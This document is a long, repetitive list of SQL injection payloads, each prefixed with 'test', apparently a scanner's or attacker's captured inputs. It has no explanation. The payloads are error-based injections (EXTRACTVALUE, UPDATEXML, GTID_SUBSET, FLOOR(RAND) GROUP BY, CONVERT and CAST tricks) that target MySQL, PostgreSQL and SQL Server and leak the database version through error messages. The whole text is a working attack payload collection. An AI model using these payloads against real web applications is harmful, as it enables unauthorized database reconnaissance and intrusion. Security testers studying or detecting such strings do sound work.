test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

variant2

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

